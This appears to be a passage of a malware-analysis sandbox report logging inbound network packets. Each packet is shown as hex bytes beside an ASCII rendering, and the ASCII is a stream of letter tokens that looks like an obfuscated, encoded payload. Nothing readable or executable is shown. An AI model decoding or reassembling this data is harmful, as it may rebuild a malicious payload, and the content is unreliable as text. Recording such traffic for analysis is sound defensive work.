2021-10-29 18:10:39 UTC	129	IN	Data Raw: 58 20 57 4f 20 57 20 70 20 45 4f 20 71 4a 4f 20 71 71 44 20 71 71 45 20 6d 45 20 45 57 20 71 6d 45 20 57 20 57 4a 20 57 6d 20 71 45 57 20 57 71 20 57 20 44 57 20 71 71 58 20 57 4f 20 71 70 6d 20 71 58 20 45 4f 20 71 4a 4f 20 71 71 44 20 71 71 45 20 71 4d 45 20 58 4d 20 71 4d 6d 20 6d 71 20 57 4a 20 57 6d 20 4d 4a 20 58 70 20 71 70 70 20 71 71 44 20 71 71 58 20 57 4f 20 44 70 20 71 71 6d 20 45 4f 20 71 4a 4f 20 71 71 44 20 71 71 45 20 4a 4f 6d 20 45 6d 20 44 44 20 4a 58 20 57 4a 20 57 6d 20 4a 4f 58 20 45 44 20 57 20 44 57 20 4a 57 71 20 57 71 20 71 4a 45 20 4f 20 57 6d 20 58 6d 20 71 4a 6d 20 71 71 45 20 4a 57 4f 20 44 57 20 4a 71 6d 20 4a 45 20 44 4f 20 57 6d 20 4a 6d 20 45 44 20 71 6d 57 20 45 4f 20 71 4a 44 20 57 4f 20 4a 4d 20 71 71 6d 20 4a 71 4f 20 Data Ascii: X WO W p EO qJO qqD qqE mE EW qmE W WJ Wm qEW Wq W DW qqX WO qpm qX EO qJO qqD qqE qME XM qMm mq WJ Wm MJ Xp qpp qqD qqX WO Dp qqm EO qJO qqD qqE JOm Em DD JX WJ Wm JOX ED W DW JWq Wq qJE O Wm Xm qJm qqE JWO DW Jqm JE DO Wm Jm ED qmW EO qJD WO JM qqm JqO
2021-10-29 18:10:39 UTC	133	IN	Data Raw: 20 71 71 45 20 57 4a 20 71 71 70 20 4a 4a 20 6d 58 20 6d 4f 20 57 57 20 4d 70 20 71 71 57 20 71 4f 71 20 71 4f 4d 20 71 4d 45 20 71 71 70 20 6d 58 20 57 4f 20 71 71 71 20 58 57 20 58 6d 20 71 71 45 20 71 71 4d 20 71 71 70 20 57 4d 20 6d 4d 20 70 6d 20 57 6d 20 4a 57 6d 20 6d 4d 20 71 71 45 20 71 4f 4d 20 6d 71 20 57 71 20 4a 57 20 57 4f 20 6d 6d 20 58 57 20 71 71 57 20 71 71 45 20 71 4a 57 20 71 71 4a 20 58 6d 20 70 70 20 57 4f 20 57 6d 20 71 4a 57 20 71 71 6d 20 4d 57 20 71 4f 4d 20 71 4f 44 20 57 71 20 6d 4d 20 57 4f 20 70 58 20 58 6d 20 71 45 71 20 71 4f 4f 20 71 4f 4d 20 71 71 4a 20 4a 45 20 6d 58 20 70 4f 20 57 6d 20 45 57 20 71 71 57 20 71 71 44 20 71 4f 4d 20 4d 44 20 57 4f 20 4f 20 57 4f 20 57 6d 20 58 6d 20 4d 71 20 71 71 45 20 4d 57 20 71 71 4a Data Ascii: qqE WJ qqp JJ mX mO WW Mp qqW qOq qOM qME qqp mX WO qqq XW Xm qqE qqM qqp WM mM pm Wm JWm mM qqE qOM mq Wq JW WO mm XW qqW qqE qJW qqJ Xm pp WO Wm qJW qqm MW qOM qOD Wq mM WO pX Xm qEq qOO qOM qqJ JE mX pO Wm EW qqW qqD qOM MD WO O WO Wm Xm Mq qqE MW qqJ
2021-10-29 18:10:39 UTC	137	IN	Data Raw: 71 20 57 58 20 57 57 20 44 4d 20 70 44 20 4a 6d 57 20 70 45 20 71 4a 70 20 57 71 20 70 70 20 57 71 20 57 6d 20 58 20 71 71 4f 20 4a 71 71 20 71 4f 4d 20 71 71 70 20 57 4f 20 71 4a 58 20 6d 71 20 71 6d 6d 20 58 6d 20 71 71 57 20 71 71 45 20 71 58 4a 20 71 4f 45 20 71 6d 58 20 6d 58 20 57 71 20 57 6d 20 58 4a 20 71 71 4f 20 71 71 57 20 71 4a 6d 20 71 71 70 20 57 4f 20 4a 70 57 20 6d 44 20 71 6d 6d 20 58 6d 20 71 71 57 20 71 71 45 20 4a 4a 71 20 71 4f 45 20 71 6d 58 20 6d 58 20 57 71 20 57 6d 20 71 6d 70 20 71 4f 57 20 4a 71 71 20 71 4f 4d 20 71 71 70 20 57 4f 20 57 6d 20 6d 44 20 44 70 20 44 4d 20 71 71 44 20 71 71 45 20 71 45 58 20 58 45 20 70 70 20 70 70 20 57 4a 20 57 6d 20 71 71 57 20 58 71 20 71 4f 4a 20 71 4a 6d 20 71 71 58 20 57 4f 20 4a 6d 45 20 71 Data Ascii: q WX WW DM pD JmW pE qJp Wq pp Wq Wm X qqO Jqq qOM qqp WO qJX mq qmm Xm qqW qqE qXJ qOE qmX mX Wq Wm XJ qqO qqW qJm qqp WO JpW mD qmm Xm qqW qqE JJq qOE qmX mX Wq Wm qmp qOW Jqq qOM qqp WO Wm mD Dp DM qqD qqE qEX XE pp pp WJ Wm qqW Xq qOJ qJm qqX WO JmE q
2021-10-29 18:10:39 UTC	141	IN	Data Raw: 71 20 70 70 20 71 20 57 57 20 4a 58 20 71 4a 4a 20 71 4d 44 20 71 4a 6d 20 44 45 20 57 71 20 71 45 58 20 70 45 20 70 45 20 44 4d 20 44 57 20 71 71 44 20 44 4d 20 71 71 58 20 71 70 71 20 70 70 20 71 20 57 57 20 6d 6d 20 71 4f 44 20 71 57 4f 20 71 4a 6d 20 44 45 20 57 71 20 57 70 20 44 71 20 71 45 58 20 44 4d 20 44 57 20 71 71 44 20 71 4d 4d 20 4d 44 20 71 45 57 20 70 70 20 71 20 57 57 20 71 44 71 20 4d 45 20 71 4f 71 20 71 4a 45 20 44 45 20 57 71 20 4d 58 20 44 70 20 70 57 20 45 4f 20 44 57 20 71 71 44 20 4a 4a 57 20 71 4f 4a 20 4a 70 57 20 70 70 20 71 20 57 57 20 57 20 4d 45 20 71 45 4a 20 71 4a 6d 20 44 45 20 57 71 20 4a 4a 58 20 70 45 20 70 45 20 44 4d 20 44 57 20 71 71 44 20 4a 57 4a 20 71 71 4d 20 71 6d 4d 20 70 70 20 71 20 57 57 20 4a 4a 4f 20 71 4a Data Ascii: q pp q WW JX qJJ qMD qJm DE Wq qEX pE pE DM DW qqD DM qqX qpq pp q WW mm qOD qWO qJm DE Wq Wp Dq qEX DM DW qqD qMM MD qEW pp q WW qDq ME qOq qJE DE Wq MX Dp pW EO DW qqD JJW qOJ JpW pp q WW W ME qEJ qJm DE Wq JJX pE pE DM DW qqD JWJ qqM qmM pp q WW JJO qJ
2021-10-29 18:10:39 UTC	146	IN	Data Raw: 71 70 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 4a 70 57 20 71 71 4a 20 58 4f 20 6d 71 20 71 58 57 20 70 6d 20 6d 4d 20 71 71 6d 20 45 70 20 6d 44 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 71 45 44 20 58 6d 20 70 20 71 4f 58 20 70 4f 20 71 4f 4f 20 58 6d 20 6d 58 20 44 44 20 71 71 45 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 4a 6d 44 20 57 4f 20 71 58 70 20 57 20 71 58 4a 20 44 6d 20 4a 71 20 71 71 45 20 4a 4f 71 20 57 71 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 4a 71 4f 20 71 71 6d 20 4a 6d 57 20 71 71 44 20 70 20 70 58 20 58 58 20 57 4f 20 4a 70 58 20 4a 70 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 71 58 4f 20 6d 58 20 4a 4a 44 20 4f 20 70 4d 20 71 4f 4a 20 4a 58 20 71 4f 4d 20 71 4a 6d 20 71 71 58 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 Data Ascii: qp Wm Xm qqm qqE JpW qqJ XO mq qXW pm mM qqm Ep mD qqJ WO mX WO qED Xm p qOX pO qOO Xm mX DD qqE Xm qqm qqE qOM JmD WO qXp W qXJ Dm Jq qqE JOq Wq WO mX WO Wm JqO qqm JmW qqD p pX XX WO JpX Jp qqm qqE qOM qqJ qXO mX JJD O pM qOJ JX qOM qJm qqX mX WO Wm Xm
2021-10-29 18:10:39 UTC	150	IN	Data Raw: 20 71 44 4d 20 45 45 20 71 44 6d 20 70 45 20 71 58 20 57 57 20 71 57 45 20 4a 71 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 71 58 4a 20 6d 4a 20 71 4d 4f 20 4d 44 20 71 71 57 20 71 71 45 20 45 44 20 71 71 70 20 4a 70 4f 20 58 45 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 45 4d 20 71 4f 4d 20 6d 57 20 4f 20 71 45 45 20 70 4d 20 4a 70 20 58 57 20 6d 4a 20 4a 4d 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 4a 6d 6d 20 57 6d 20 4a 70 4f 20 45 6d 20 4a 57 6d 20 71 4a 4f 20 58 70 20 57 71 20 4d 4a 20 58 4d 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 4a 70 57 20 71 4a 4f 20 4a 57 4a 20 58 20 71 45 70 20 70 57 20 71 71 4d 20 71 71 57 20 71 20 44 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 71 45 44 20 4d 4a 20 71 45 4a 20 45 45 20 4a 4f 4a 20 71 4f 71 20 71 Data Ascii: qDM EE qDm pE qX WW qWE Jq qqE qOM qqJ WO qXJ mJ qMO MD qqW qqE ED qqp JpO XE WO Wm Xm qqm qEM qOM mW O qEE pM Jp XW mJ JM qOM qqJ WO mX Jmm Wm JpO Em JWm qJO Xp Wq MJ XM Wm Xm qqm qqE JpW qJO JWJ X qEp pW qqM qqW q D qqJ WO mX WO qED MJ qEJ EE JOJ qOq q
2021-10-29 18:10:39 UTC	154	IN	Data Raw: 20 4a 71 20 71 71 44 20 71 58 71 20 4a 4f 58 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 4a 71 4f 20 71 4f 44 20 4a 57 70 20 58 4d 20 71 71 70 20 57 4f 20 58 58 20 57 71 20 4a 71 6d 20 4a 6d 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 71 58 4f 20 57 44 20 4a 70 57 20 57 58 20 71 57 45 20 71 71 6d 20 4a 4d 20 71 4f 58 20 71 57 4a 20 71 6d 44 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 4a 6d 6d 20 71 4a 57 20 71 6d 4f 20 71 4a 6d 20 70 6d 20 6d 58 20 4d 4f 20 57 57 20 71 44 57 20 4a 71 4f 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 71 58 4a 20 57 58 20 71 71 70 20 58 4f 20 71 58 45 20 71 71 45 20 6d 20 71 71 70 20 4a 4f 70 20 71 6d 6d 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 4a 6d 70 20 71 4f 71 20 44 70 20 57 6d 20 70 4a 20 57 4f 20 4d 57 20 58 57 20 Data Ascii: Jq qqD qXq JOX WO mX WO Wm JqO qOD JWp XM qqp WO XX Wq Jqm Jmm qqm qqE qOM qqJ qXO WD JpW WX qWE qqm JM qOX qWJ qmD mX WO Wm Xm Jmm qJW qmO qJm pm mX MO WW qDW JqO qqE qOM qqJ WO qXJ WX qqp XO qXE qqE m qqp JOp qmm WO Wm Xm qqm Jmp qOq Dp Wm pJ WO MW XW
2021-10-29 18:10:39 UTC	158	IN	Data Raw: 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 4a 6d 70 20 71 4f 71 20 4a 4f 57 20 57 58 20 57 70 20 57 4f 20 71 45 57 20 58 57 20 45 44 20 4a 71 6d 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 71 58 4f 20 44 4a 20 71 4f 6d 20 71 4a 71 20 71 58 58 20 71 4f 4d 20 4a 70 6d 20 57 71 20 71 71 58 20 71 6d 57 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 4a 70 57 20 71 4a 4f 20 71 71 58 20 57 4d 20 70 6d 20 57 6d 20 4a 4f 44 20 71 71 57 20 57 58 20 4a 4f 44 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 71 45 44 20 45 44 20 4a 57 4f 20 44 57 20 71 4f 58 20 71 71 4a 20 71 44 4d 20 6d 4d 20 71 4f 71 20 71 6d 4d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 4a 6d 44 20 57 58 20 71 71 4d 20 57 6d 20 4a 57 57 20 58 6d 20 4a 70 70 20 71 71 44 20 57 4f 20 4a 71 71 20 57 4f 20 Data Ascii: WO Wm Xm qqm Jmp qOq JOW WX Wp WO qEW XW ED Jqm qOM qqJ WO mX qXO DJ qOm qJq qXX qOM Jpm Wq qqX qmW Wm Xm qqm qqE JpW qJO qqX WM pm Wm JOD qqW WX JOD qqJ WO mX WO qED ED JWO DW qOX qqJ qDM mM qOq qmM Xm qqm qqE qOM JmD WX qqM Wm JWW Xm Jpp qqD WO Jqq WO
2021-10-29 18:10:39 UTC	161	IN	Data Raw: 58 6d 20 71 71 6d 20 4a 6d 70 20 71 4f 71 20 71 4f 44 20 6d 4d 20 45 58 20 70 45 20 71 6d 71 20 58 57 20 4a 4f 57 20 4a 71 71 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 71 58 4f 20 44 4a 20 71 71 4d 20 71 71 70 20 4a 57 70 20 71 4a 4a 20 4a 4f 70 20 57 71 20 4a 6d 58 20 71 6d 58 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 4a 70 57 20 71 4a 4f 20 4a 57 4f 20 57 4a 20 71 4f 4a 20 70 70 20 4a 70 4a 20 71 71 57 20 71 44 57 20 4a 4f 70 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 71 45 44 20 4d 4a 20 71 44 70 20 71 71 70 20 57 71 20 71 4f 70 20 71 6d 4a 20 6d 4d 20 4a 70 57 20 71 6d 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 4a 6d 44 20 57 58 20 4a 58 20 57 70 20 45 4a 20 44 45 20 4a 4f 45 20 71 71 44 20 71 6d 4f 20 4a 71 6d 20 57 4f 20 6d 58 20 57 4f Data Ascii: Xm qqm Jmp qOq qOD mM EX pE qmq XW JOW Jqq qOM qqJ WO mX qXO DJ qqM qqp JWp qJJ JOp Wq JmX qmX Wm Xm qqm qqE JpW qJO JWO WJ qOJ pp JpJ qqW qDW JOp qqJ WO mX WO qED MJ qDp qqp Wq qOp qmJ mM JpW qmm Xm qqm qqE qOM JmD WX JX Wp EJ DE JOE qqD qmO Jqm WO mX WO
2021-10-29 18:10:39 UTC	165	IN	Data Raw: 20 71 45 44 20 45 44 20 4a 57 4f 20 44 57 20 71 4f 58 20 71 71 4a 20 4a 4f 58 20 6d 4d 20 4a 45 20 71 57 44 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 4a 6d 70 20 57 4f 20 71 70 4f 20 6d 4d 20 4d 58 20 44 45 20 71 6d 6d 20 71 71 44 20 4d 71 20 4a 71 58 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 4a 71 57 20 71 71 6d 20 4a 70 4d 20 71 4f 71 20 71 58 4d 20 70 45 20 4a 71 4f 20 57 71 20 71 71 45 20 4a 57 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 71 45 45 20 6d 58 20 71 6d 4a 20 57 58 20 71 70 71 20 71 4f 71 20 71 57 71 20 71 4f 58 20 70 4a 20 71 57 4a 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 4a 6d 71 20 71 71 45 20 44 45 20 71 4a 45 20 4a 71 71 20 70 4d 20 4a 4f 58 20 57 57 20 4d 20 4a 71 44 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 71 44 71 Data Ascii: qED ED JWO DW qOX qqJ JOX mM JE qWD Xm qqm qqE qOM Jmp WO qpO mM MX DE qmm qqD Mq JqX WO mX WO Wm JqW qqm JpM qOq qXM pE JqO Wq qqE JWm qqm qqE qOM qqJ qEE mX qmJ WX qpq qOq qWq qOX pJ qWJ mX WO Wm Xm Jmq qqE DE qJE Jqq pM JOX WW M JqD qqE qOM qqJ WO qDq
2021-10-29 18:10:39 UTC	169	IN	Data Raw: 20 4a 4f 6d 20 6d 4d 20 71 71 45 20 71 4f 4d 20 71 71 70 20 57 4f 20 71 44 58 20 71 71 70 20 57 4a 20 58 6d 20 71 71 57 20 71 71 45 20 4a 44 20 4d 4a 20 57 4f 20 71 44 20 6d 58 20 57 6d 20 58 4a 20 71 4f 57 20 71 71 45 20 45 45 20 71 71 57 20 57 4f 20 71 4d 44 20 70 71 20 57 6d 20 58 6d 20 71 71 58 20 71 71 45 20 4a 57 6d 20 45 4a 20 57 4f 20 6d 58 20 57 71 20 57 6d 20 4a 71 4f 20 4d 6d 20 71 71 45 20 71 4f 4d 20 71 71 6d 20 57 4f 20 71 45 71 20 71 4f 20 57 6d 20 58 6d 20 71 71 57 20 71 71 45 20 4d 4a 20 57 4f 20 57 4f 20 6d 58 20 6d 58 20 57 6d 20 4a 6d 4a 20 57 4f 20 71 71 45 20 71 4f 4d 20 71 71 57 20 57 4f 20 71 45 6d 20 71 71 6d 20 57 6d 20 58 6d 20 71 71 58 20 71 71 45 20 70 4d 20 44 6d 20 57 4f 20 6d 58 20 57 57 20 57 6d 20 71 4a 45 20 71 4f 6d 20 Data Ascii: JOm mM qqE qOM qqp WO qDX qqp WJ Xm qqW qqE JD MJ WO qD mX Wm XJ qOW qqE EE qqW WO qMD pq Wm Xm qqX qqE JWm EJ WO mX Wq Wm JqO Mm qqE qOM qqm WO qEq qO Wm Xm qqW qqE MJ WO WO mX mX Wm JmJ WO qqE qOM qqW WO qEm qqm Wm Xm qqX qqE pM Dm WO mX WW Wm qJE qOm
2021-10-29 18:10:39 UTC	173	IN	Data Raw: 4f 4d 20 71 71 6d 20 57 4f 20 71 57 70 20 71 4f 20 57 6d 20 58 6d 20 71 71 70 20 71 71 45 20 71 71 6d 20 45 58 20 57 4f 20 6d 58 20 57 71 20 57 6d 20 57 57 20 4d 70 20 71 71 45 20 71 4f 4d 20 71 71 6d 20 57 4f 20 71 57 70 20 71 4f 20 57 6d 20 58 6d 20 71 71 70 20 71 71 45 20 71 71 6d 20 45 58 20 57 4f 20 6d 58 20 57 71 20 57 6d 20 57 57 20 4d 70 20 71 71 45 20 71 4f 4d 20 71 71 6d 20 57 4f 20 71 57 70 20 71 4f 20 57 6d 20 58 6d 20 71 71 70 20 71 71 45 20 71 71 6d 20 45 58 20 57 4f 20 6d 58 20 57 71 20 57 6d 20 57 57 20 4d 70 20 71 71 45 20 71 4f 4d 20 71 71 6d 20 57 4f 20 71 57 70 20 71 4f 20 57 6d 20 58 6d 20 71 71 70 20 71 71 45 20 71 71 6d 20 45 58 20 57 4f 20 6d 58 20 57 71 20 57 6d 20 57 57 20 4d 70 20 71 71 45 20 71 4f 4d 20 71 71 6d 20 57 4f 20 71 Data Ascii: OM qqm WO qWp qO Wm Xm qqp qqE qqm EX WO mX Wq Wm WW Mp qqE qOM qqm WO qWp qO Wm Xm qqp qqE qqm EX WO mX Wq Wm WW Mp qqE qOM qqm WO qWp qO Wm Xm qqp qqE qqm EX WO mX Wq Wm WW Mp qqE qOM qqm WO qWp qO Wm Xm qqp qqE qqm EX WO mX Wq Wm WW Mp qqE qOM qqm WO q
2021-10-29 18:10:39 UTC	176	IN	Data Raw: 4f 20 70 45 20 71 4d 20 57 6d 20 58 6d 20 71 71 4a 20 71 71 45 20 44 44 20 58 71 20 57 4f 20 6d 58 20 57 71 20 57 6d 20 70 20 71 71 58 20 71 71 45 20 71 4f 4d 20 71 71 70 20 57 4f 20 4a 71 20 71 44 20 57 6d 20 58 6d 20 71 71 4a 20 71 71 45 20 44 4a 20 6d 4d 20 57 4f 20 6d 58 20 57 71 20 57 6d 20 4a 4f 57 20 6d 58 20 71 71 45 20 71 4f 4d 20 71 71 6d 20 57 4f 20 71 4a 45 20 4a 71 20 57 6d 20 58 6d 20 71 71 57 20 71 71 45 20 44 4f 20 57 71 20 70 6d 20 70 4a 20 6d 58 20 57 6d 20 4a 70 6d 20 58 4d 20 71 4f 71 20 71 4a 57 20 71 71 57 20 57 4f 20 4a 6d 45 20 4a 57 20 57 6d 20 58 6d 20 71 71 58 20 71 71 45 20 45 58 20 45 71 20 57 4f 20 6d 58 20 57 71 20 57 6d 20 4a 6d 4d 20 4d 71 20 71 71 45 20 71 4f 4d 20 71 71 70 20 57 4f 20 71 57 45 20 4a 45 20 57 6d 20 58 6d Data Ascii: O pE qM Wm Xm qqJ qqE DD Xq WO mX Wq Wm p qqX qqE qOM qqp WO Jq qD Wm Xm qqJ qqE DJ mM WO mX Wq Wm JOW mX qqE qOM qqm WO qJE Jq Wm Xm qqW qqE DO Wq pm pJ mX Wm Jpm XM qOq qJW qqW WO JmE JW Wm Xm qqX qqE EX Eq WO mX Wq Wm JmM Mq qqE qOM qqp WO qWE JE Wm Xm
2021-10-29 18:10:39 UTC	180	IN	Data Raw: 6d 20 4a 71 4f 20 4d 6d 20 71 71 45 20 71 4f 4d 20 71 71 6d 20 57 4f 20 71 71 70 20 71 71 4a 20 57 6d 20 71 71 44 20 71 71 70 20 71 71 45 20 71 4d 57 20 58 4a 20 6d 58 20 6d 58 20 57 6d 20 57 6d 20 71 4f 4f 20 6d 58 20 71 71 45 20 71 4f 4d 20 71 71 45 20 57 4f 20 45 20 71 57 20 57 6d 20 58 6d 20 71 71 44 20 71 71 45 20 45 4f 20 45 45 20 57 4f 20 6d 58 20 57 70 20 57 6d 20 4a 6d 4a 20 57 4f 20 71 71 45 20 71 4f 4d 20 71 4a 4f 20 57 4f 20 71 45 6d 20 71 71 6d 20 57 6d 20 58 6d 20 71 4a 70 20 71 71 45 20 4a 57 6d 20 45 4a 20 57 4f 20 6d 58 20 57 44 20 57 6d 20 71 57 57 20 58 58 20 71 71 45 20 71 4f 4d 20 71 4a 70 20 57 4f 20 71 71 57 20 71 57 20 57 4a 20 58 6d 20 71 71 57 20 71 71 45 20 4d 70 20 57 4f 20 57 4f 20 6d 58 20 6d 58 20 57 6d 20 45 57 20 45 44 20 Data Ascii: m JqO Mm qqE qOM qqm WO qqp qqJ Wm qqD qqp qqE qMW XJ mX mX Wm Wm qOO mX qqE qOM qqE WO E qW Wm Xm qqD qqE EO EE WO mX Wp Wm JmJ WO qqE qOM qJO WO qEm qqm Wm Xm qJp qqE JWm EJ WO mX WD Wm qWW XX qqE qOM qJp WO qqW qW WJ Xm qqW qqE Mp WO WO mX mX Wm EW ED
2021-10-29 18:10:39 UTC	184	IN	Data Raw: 71 58 58 20 57 6d 20 4a 4f 45 20 58 6d 20 71 45 4f 20 71 4f 6d 20 4a 57 4a 20 71 71 44 20 4d 4d 20 6d 58 20 57 44 20 70 71 20 71 57 45 20 71 71 6d 20 71 4d 44 20 71 71 4f 20 4a 6d 58 20 44 20 70 4a 20 57 4f 20 71 6d 70 20 58 45 20 44 4f 20 6d 4d 20 4a 4f 45 20 71 71 44 20 4a 57 71 20 57 71 20 71 58 44 20 4a 20 4a 57 70 20 71 71 58 20 71 44 71 20 71 4f 4d 20 4a 6d 58 20 44 20 4a 6d 4f 20 57 6d 20 4a 70 4d 20 58 45 20 44 71 20 45 44 20 71 44 45 20 71 71 44 20 4a 71 71 20 57 71 20 71 4d 4a 20 4a 71 20 71 70 4a 20 71 71 58 20 71 57 44 20 71 71 4f 20 6d 71 20 70 71 20 4a 70 4f 20 57 6d 20 71 4d 4d 20 58 45 20 6d 20 71 4f 44 20 71 45 45 20 71 71 44 20 4a 70 4f 20 6d 58 20 71 44 70 20 4a 4d 20 71 71 57 20 71 71 6d 20 71 71 44 20 71 4f 58 20 4a 6d 58 20 44 20 4a Data Ascii: qXX Wm JOE Xm qEO qOm JWJ qqD MM mX WD pq qWE qqm qMD qqO JmX D pJ WO qmp XE DO mM JOE qqD JWq Wq qXD J JWp qqX qDq qOM JmX D JmO Wm JpM XE Dq ED qDE qqD Jqq Wq qMJ Jq qpJ qqX qWD qqO mq pq JpO Wm qMM XE m qOD qEE qqD JpO mX qDp JM qqW qqm qqD qOX JmX D J
2021-10-29 18:10:39 UTC	188	IN	Data Raw: 57 70 20 6d 57 20 71 4f 20 71 4f 70 20 71 4a 45 20 4d 4a 20 71 71 71 20 71 44 4d 20 71 71 4a 20 4d 20 44 70 20 70 71 20 58 44 20 71 45 4f 20 4d 57 20 58 4a 20 71 4a 57 20 71 71 57 20 57 70 20 71 4f 6d 20 71 58 20 6d 20 71 4a 45 20 57 4a 20 71 4f 6d 20 57 6d 20 71 71 6d 20 57 70 20 57 4f 20 71 71 4d 20 58 71 20 4a 71 70 20 58 44 20 57 58 20 71 4a 57 20 71 4a 70 20 57 70 20 70 4f 20 4a 44 20 4d 20 71 4a 45 20 71 4d 44 20 71 4f 58 20 4a 6d 58 20 44 20 58 70 20 44 70 20 71 4f 70 20 58 45 20 4a 6d 6d 20 45 4f 20 45 20 71 4a 57 20 4d 4d 20 57 70 20 71 58 44 20 4a 20 58 57 20 71 71 6d 20 70 44 20 71 4f 6d 20 4a 6d 45 20 4a 71 20 44 58 20 44 70 20 71 4f 70 20 58 71 20 71 45 44 20 58 4a 20 4a 57 20 71 4a 57 20 71 4f 45 20 57 70 20 70 4d 20 71 6d 20 6d 57 20 71 4a Data Ascii: Wp mW qO qOp qJE MJ qqq qDM qqJ M Dp pq XD qEO MW XJ qJW qqW Wp qOm qX m qJE WJ qOm Wm qqm Wp WO qqM Xq Jqp XD WX qJW qJp Wp pO JD M qJE qMD qOX JmX D Xp Dp qOp XE Jmm EO E qJW MM Wp qXD J XW qqm pD qOm JmE Jq DX Dp qOp Xq qED XJ JW qJW qOE Wp pM qm mW qJ
2021-10-29 18:10:39 UTC	192	IN	Data Raw: 4f 20 71 4d 58 20 44 71 20 4a 4a 70 20 58 4a 20 71 4d 70 20 71 71 45 20 71 4d 20 71 4f 44 20 57 71 20 57 57 20 71 71 70 20 57 6d 20 71 44 4a 20 71 4a 57 20 71 4a 6d 20 71 4f 44 20 71 4d 57 20 57 4f 20 71 4d 4f 20 6d 4f 20 4a 70 20 58 70 20 6d 4d 20 71 71 45 20 71 57 57 20 71 4a 45 20 4a 45 20 57 57 20 71 4a 4d 20 57 6d 20 4a 4f 4a 20 71 4f 6d 20 57 4a 20 71 4f 44 20 57 71 20 57 4f 20 71 4d 58 20 44 71 20 71 71 45 20 58 70 20 4a 4f 4d 20 71 71 45 20 71 57 70 20 71 4f 4d 20 71 4a 70 20 57 57 20 71 4a 4d 20 57 6d 20 4a 57 4f 20 71 4f 6d 20 4a 4f 20 71 4f 44 20 57 71 20 57 4f 20 71 4d 58 20 44 71 20 58 57 20 58 70 20 4a 4f 4d 20 71 71 45 20 71 71 70 20 71 71 4f 20 4d 71 20 57 57 20 71 4a 4d 20 57 6d 20 4a 70 6d 20 71 4f 6d 20 4a 6d 6d 20 71 4f 44 20 57 71 20 Data Ascii: O qMX Dq JJp XJ qMp qqE qM qOD Wq WW qqp Wm qDJ qJW qJm qOD qMW WO qMO mO Jp Xp mM qqE qWW qJE JE WW qJM Wm JOJ qOm WJ qOD Wq WO qMX Dq qqE Xp JOM qqE qWp qOM qJp WW qJM Wm JWO qOm JO qOD Wq WO qMX Dq XW Xp JOM qqE qqp qqO Mq WW qJM Wm Jpm qOm Jmm qOD Wq
2021-10-29 18:10:39 UTC	196	IN	Data Raw: 44 20 71 71 58 20 71 45 45 20 71 71 45 20 57 4d 20 71 4f 45 20 71 45 58 20 71 58 20 4a 6d 71 20 57 6d 20 57 71 20 71 4f 57 20 4a 71 70 20 45 4d 20 71 45 4d 20 57 4f 20 45 4a 20 6d 71 20 71 6d 44 20 71 71 58 20 70 70 20 71 71 45 20 71 57 57 20 71 4a 45 20 4a 6d 4a 20 71 58 20 4a 6d 71 20 57 6d 20 4a 4a 71 20 71 4f 57 20 71 6d 4d 20 45 4d 20 71 45 4d 20 57 4f 20 71 45 4f 20 6d 71 20 57 6d 20 71 71 4d 20 71 45 45 20 71 71 45 20 71 4d 58 20 71 4f 45 20 71 58 20 71 4d 20 4a 6d 71 20 57 6d 20 4a 70 4a 20 71 4f 57 20 58 71 20 45 58 20 70 57 20 57 4f 20 71 4d 58 20 44 71 20 71 71 58 20 71 71 4d 20 6d 4d 20 71 71 45 20 71 57 57 20 71 4a 45 20 58 4a 20 71 4d 20 71 71 70 20 57 6d 20 71 44 4a 20 71 4a 57 20 4a 6d 57 20 45 58 20 57 71 20 57 4f 20 71 4d 58 20 44 71 20 Data Ascii: D qqX qEE qqE WM qOE qEX qX Jmq Wm Wq qOW Jqp EM qEM WO EJ mq qmD qqX pp qqE qWW qJE JmJ qX Jmq Wm JJq qOW qmM EM qEM WO qEO mq Wm qqM qEE qqE qMX qOE qX qM Jmq Wm JpJ qOW Xq EX pW WO qMX Dq qqX qqM mM qqE qWW qJE XJ qM qqp Wm qDJ qJW JmW EX Wq WO qMX Dq
